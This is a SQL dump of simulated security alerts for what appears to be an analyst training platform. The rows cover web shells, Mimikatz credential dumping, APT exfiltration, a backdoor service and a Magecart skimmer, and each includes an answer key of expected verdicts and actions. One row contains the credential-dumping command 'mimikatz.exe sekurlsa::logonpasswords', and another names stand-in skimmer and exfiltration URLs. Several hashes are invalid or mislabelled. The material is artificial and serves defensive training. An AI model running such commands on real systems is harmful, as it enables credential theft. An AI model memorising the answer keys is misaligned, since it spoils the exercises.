attacks.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"3b62f8c9e44f7a1c2d4e9e9b3d5e4c2f\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"File hash matches known malicious web shell.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"vpn_admin\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Database\",\"verdict\":\"internal\",\"details\":\"Username belongs to a legitimate VPN administrator.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'Intermediate', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(450, 'Unusual Network Traffic from VPN to Internal Servers', 'high', 'Network Traffic Analysis', 'The attacker utilizes a web shell to scan internal networks, focusing on critical infrastructure such as domain controllers. Unusual network traffic from an external IP was detected accessing internal servers via a VPN, indicative of lateral movement attempts.', 'Lateral Movement', 'T1071', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:23:00Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.0.0.25\",\"protocol\":\"TCP\",\"port\":3389,\"action\":\"allowed\",\"username\":\"j.smith\",\"process\":{\"name\":\"webshell\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\"},\"alert_id\":\"alert_20231015_001\",\"vpn\":{\"vpn_ip\":\"192.168.1.100\",\"vpn_user\":\"vpn_user123\"}}', '2026-01-05 00:02:38', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with APT group.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Domain Controller IP.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known web shell.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"j.smith\",\"is_critical\":false,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"internal\",\"details\":\"Legitimate user account.\"}},{\"id\":\"artifact_5\",\"type\":\"ip\",\"value\":\"192.168.1.100\",\"is_critical\":false,\"osint_result\":{\"source\":\"VPN Logs\",\"verdict\":\"internal\",\"details\":\"VPN exit node IP.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'intermediate', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(451, 'Unauthorized Access Attempt on Domain Controller', 'high', 'Active Directory Logs', 'Fox Kitten APT has attempted to establish a foothold on the domain controller by leveraging stolen credentials to escalate privileges. The primary objective was to gain access to sensitive data, specifically targeting the domain controller.', 'Persistence', 'T1078 - Valid Accounts', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T02:35:49Z\",\"event_id\":4769,\"computer_name\":\"DC01.corp.example.com\",\"user\":\"jdoe\",\"source_ip\":\"203.0.113.45\",\"object\":\"Domain Controller\",\"action\":\"Login Attempt\",\"status\":\"Failed\",\"logon_type\":3,\"hash\":\"e99a18c428cb38d5f260853678922e03\",\"filepath\":\"C:\\\\Windows\\\\System32\\\\config\\\\systemprofile\\\\AppData\\\\Local\\\\Temp\\\\malicious.dll\"}', '2026-01-05 00:02:38', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Database\",\"verdict\":\"malicious\",\"details\":\"IP associated with Fox Kitten APT activities.\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Audit\",\"verdict\":\"internal\",\"details\":\"User account used in unauthorized access attempt.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Hash Registry\",\"verdict\":\"malicious\",\"details\":\"Hash associated with malicious DLL used by Fox Kitten.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'Intermediate', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Identity\",\"evidence\":{\"user\":{\"username\":\"jdoe\",\"display_name\":\"John Doe\",\"department\":\"Finance\",\"manager\":\"Jane Smith\"},\"risk_score\":85,\"recent_activity\":[{\"action\":\"Login Success\",\"ip\":\"10.0.0.5\",\"location\":\"New York, US\",\"time\":\"09:00 AM\"},{\"action\":\"Password Reset Request\",\"ip\":\"192.168.1.5\",\"location\":\"New York, US\",\"time\":\"09:05 AM\"},{\"action\":\"Login Failed\",\"ip\":\"203.0.113.99\",\"location\":\"Moscow, RU\",\"time\":\"02:00 AM\",\"flag\":true}]}}', 0),
(452, 'Mimikatz Activity Detected on Domain Controller', 'high', 'Endpoint Detection and Response (EDR)', 'Mimikatz was detected on the domain controller attempting to extract user credentials. This activity was identified by the EDR system through the detection of known Mimikatz execution patterns.', 'Credential Access', 'T1003.001 - OS Credential Dumping: LSASS Memory', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:23:45Z\",\"event_id\":\"4624\",\"computer_name\":\"DC01.corp.local\",\"process_name\":\"C:\\\\Windows\\\\Temp\\\\mimikatz.exe\",\"process_id\":\"4928\",\"user_name\":\"administrator\",\"source_ip\":\"192.168.1.15\",\"destination_ip\":\"10.0.0.5\",\"hash\":\"a9b1c3d4e5f6g7h8i9j0k1l2m3n4o5p6\",\"external_ip\":\"203.0.113.45\",\"file_path\":\"C:\\\\Windows\\\\Temp\\\\mimikatz.exe\",\"command_line\":\"mimikatz.exe sekurlsa::logonpasswords\"}', '2026-01-05 00:02:38', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal network\",\"verdict\":\"internal\",\"details\":\"Internal IP from which the Mimikatz execution was initiated.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"external threat intelligence\",\"verdict\":\"malicious\",\"details\":\"Known attacker IP associated with credential harvesting campaigns.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"a9b1c3d4e5f6g7h8i9j0k1l2m3n4o5p6\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with Mimikatz variant used for credential theft.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"C:\\\\Windows\\\\Temp\\\\mimikatz.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"EDR detection\",\"verdict\":\"malicious\",\"details\":\"Executable associated with unauthorized credential access attempt.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"administrator\",\"is_critical\":true,\"osint_result\":{\"source\":\"user account logs\",\"verdict\":\"suspicious\",\"details\":\"Domain admin account used for unauthorized activity.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'EDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(453, 'Data Exfiltration Detected from Domain Controller', 'high', 'Data Loss Prevention (DLP)', 'Suspicious data exfiltration activity was detected from the domain controller. This involved the transfer of sensitive data to an external IP address, indicating an attempt to move stolen credentials and data out of the network.', 'Exfiltration', 'T1041: Exfiltration Over C2 Channel', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:23:36Z\",\"event_id\":\"DLP-EXFIL-20231005-001\",\"source_ip\":\"10.0.2.15\",\"destination_ip\":\"203.0.113.45\",\"username\":\"jdoe_admin\",\"file_name\":\"credentials_dump.txt\",\"file_hash\":\"e99a18c428cb38d5f260853678922e03\",\"protocol\":\"HTTPS\",\"action\":\"exfiltration\",\"data_size\":\"2GB\",\"malware_name\":\"APT29_Infostealer\"}', '2026-01-05 00:02:38', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Known C2 server associated with APT29 operations.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.2.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal domain controller IP address.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known APT29 malware.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"credentials_dump.txt\",\"is_critical\":true,\"osint_result\":{\"source\":\"File Analysis\",\"verdict\":\"suspicious\",\"details\":\"File containing potentially sensitive credential information.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe_admin\",\"is_critical\":true,\"osint_result\":{\"source\":\"User Directory\",\"verdict\":\"clean\",\"details\":\"Valid domain administrator account.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:19.063Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:36Z\\\",\\\"event_id\\\":\\\"DLP-EXFIL-20231005-001\\\",\\\"source_ip\\\":\\\"10.0.2.15\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"jdoe_admin\\\",\\\"file_name\\\":\\\"credentials_dump.txt\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"action\\\":\\\"exfiltration\\\",\\\"data_size\\\":\\\"2GB\\\",\\\"malware_name\\\":\\\"APT29_Infostealer\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:19.063Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:36Z\\\",\\\"event_id\\\":\\\"DLP-EXFIL-20231005-001\\\",\\\"source_ip\\\":\\\"10.0.2.15\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"jdoe_admin\\\",\\\"file_name\\\":\\\"credentials_dump.txt\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"action\\\":\\\"exfiltration\\\",\\\"data_size\\\":\\\"2GB\\\",\\\"malware_name\\\":\\\"APT29_Infostealer\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:19.063Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:36Z\\\",\\\"event_id\\\":\\\"DLP-EXFIL-20231005-001\\\",\\\"source_ip\\\":\\\"10.0.2.15\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"jdoe_admin\\\",\\\"file_name\\\":\\\"credentials_dump.txt\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"action\\\":\\\"exfiltration\\\",\\\"data_size\\\":\\\"2GB\\\",\\\"malware_name\\\":\\\"APT29_Infostealer\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:19.063Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:36Z\\\",\\\"event_id\\\":\\\"DLP-EXFIL-20231005-001\\\",\\\"source_ip\\\":\\\"10.0.2.15\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"jdoe_admin\\\",\\\"file_name\\\":\\\"credentials_dump.txt\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"action\\\":\\\"exfiltration\\\",\\\"data_size\\\":\\\"2GB\\\",\\\"malware_name\\\":\\\"APT29_Infostealer\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:19.063Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:36Z\\\",\\\"event_id\\\":\\\"DLP-EXFIL-20231005-001\\\",\\\"source_ip\\\":\\\"10.0.2.15\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"jdoe_admin\\\",\\\"file_name\\\":\\\"credentials_dump.txt\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"action\\\":\\\"exfiltration\\\",\\\"data_size\\\":\\\"2GB\\\",\\\"malware_name\\\":\\\"APT29_Infostealer\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(454, 'Persistence Mechanism Installation on Domain Controller', 'high', 'Host Intrusion Detection System (HIDS)', 'The attacker installed a backdoor on the domain controller to ensure long-term access. A suspicious service named \'WinSvcHelper\' was created and linked to a known malicious executable \'svcbackdoor.exe\'.', 'Persistence', 'T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:45:32Z\",\"event_id\":\"4624\",\"host\":\"dc01.corp.local\",\"user\":\"Administrator\",\"source_ip\":\"203.0.113.45\",\"internal_ip\":\"10.1.1.5\",\"service_name\":\"WinSvcHelper\",\"file_path\":\"C:\\\\Windows\\\\System32\\\\svcbackdoor.exe\",\"file_hash\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"event_description\":\"Service creation detected. The service \'WinSvcHelper\' was created and linked to a malicious executable.\"}', '2026-01-05 00:02:38', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP associated with known APT group.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.1.1.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised domain controller.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"svcbackdoor.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"File associated with persistence techniques used by APT groups.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash detected in multiple malware analysis engines.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:19.064Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:45:32Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"host\\\":\\\"dc01.corp.local\\\",\\\"user\\\":\\\"Administrator\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"10.1.1.5\\\",\\\"service_name\\\":\\\"WinSvcHelper\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\svcbackdoor.exe\\\",\\\"file_hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\",\\\"event_description\\\":\\\"Service creation detected. The service \'WinSvcHelper\' was created and linked to a malicious executable.\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:19.064Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:45:32Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"host\\\":\\\"dc01.corp.local\\\",\\\"user\\\":\\\"Administrator\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"10.1.1.5\\\",\\\"service_name\\\":\\\"WinSvcHelper\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\svcbackdoor.exe\\\",\\\"file_hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\",\\\"event_description\\\":\\\"Service creation detected. The service \'WinSvcHelper\' was created and linked to a malicious executable.\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:19.064Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:45:32Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"host\\\":\\\"dc01.corp.local\\\",\\\"user\\\":\\\"Administrator\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"10.1.1.5\\\",\\\"service_name\\\":\\\"WinSvcHelper\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\svcbackdoor.exe\\\",\\\"file_hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\",\\\"event_description\\\":\\\"Service creation detected. The service \'WinSvcHelper\' was created and linked to a malicious executable.\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:19.064Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:45:32Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"host\\\":\\\"dc01.corp.local\\\",\\\"user\\\":\\\"Administrator\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"10.1.1.5\\\",\\\"service_name\\\":\\\"WinSvcHelper\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\svcbackdoor.exe\\\",\\\"file_hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\",\\\"event_description\\\":\\\"Service creation detected. The service \'WinSvcHelper\' was created and linked to a malicious executable.\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:19.064Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:45:32Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"host\\\":\\\"dc01.corp.local\\\",\\\"user\\\":\\\"Administrator\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"10.1.1.5\\\",\\\"service_name\\\":\\\"WinSvcHelper\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\svcbackdoor.exe\\\",\\\"file_hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\",\\\"event_description\\\":\\\"Service creation detected. The service \'WinSvcHelper\' was created and linked to a malicious executable.\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(455, 'Initial Compromise via Third-Party Library', 'high', 'Web Application Firewall (WAF) Logs', 'An intrusion was detected via a compromised third-party advertising library. The library, affected by Magecart, injects malicious JavaScript into checkout pages to exfiltrate sensitive information.', 'Supply Chain Attack', 'T1195.002', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T08:45:23Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.0.0.15\",\"http_request\":\"GET /ad-library.js HTTP/1.1\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36\",\"referrer\":\"https://example-store.com/checkout\",\"malicious_script_hash\":\"6f1e3b2b4c3e8a2f7f5d5c9b8a8f7d6e\",\"filename\":\"ad-library.js\",\"detected_by\":\"WAF\",\"alert_id\":\"waf-alert-20231015-0001\"}', '2026-01-05 00:07:01', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT Threat Intel\",\"verdict\":\"malicious\",\"details\":\"IP associated with previous Magecart attacks.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"6f1e3b2b4c3e8a2f7f5d5c9b8a8f7d6e\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Hash Database\",\"verdict\":\"malicious\",\"details\":\"Hash matches known Magecart-injected scripts.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"ad-library.js\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Inventory\",\"verdict\":\"internal\",\"details\":\"Filename is part of third-party library.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'SIEM', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(456, 'Execution of Obfuscated JavaScript', 'high', 'JavaScript Console Logs', 'Obfuscated JavaScript code executed on the checkout page to skim credit card details and transmit them to an attacker-controlled server.', 'Code Injection', 'T1059.007', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:23:54Z\",\"event_id\":\"js_exec_001\",\"script_url\":\"http://malicious-domain.com/skimmer.js\",\"executed_by_ip\":\"192.168.1.101\",\"exfiltration_url\":\"http://attacker-site.com/cc_capture\",\"attacker_ip\":\"203.0.113.45\",\"script_hash\":\"e99a18c428cb38d5f260853678922e03\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36\",\"filename\":\"skimmer.js\"}', '2026-01-05 00:07:01', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"url\",\"value\":\"http://malicious-domain.com/skimmer.js\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Associated with known credit card skimming attacks.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"ThreatIntel\",\"verdict\":\"malicious\",\"details\":\"IP address known for hosting malicious infrastructure.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"MalwareBazaar\",\"verdict\":\"malicious\",\"details\":\"Hash associated with obfuscated JavaScript malware.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'SIEM', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:19.066Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event 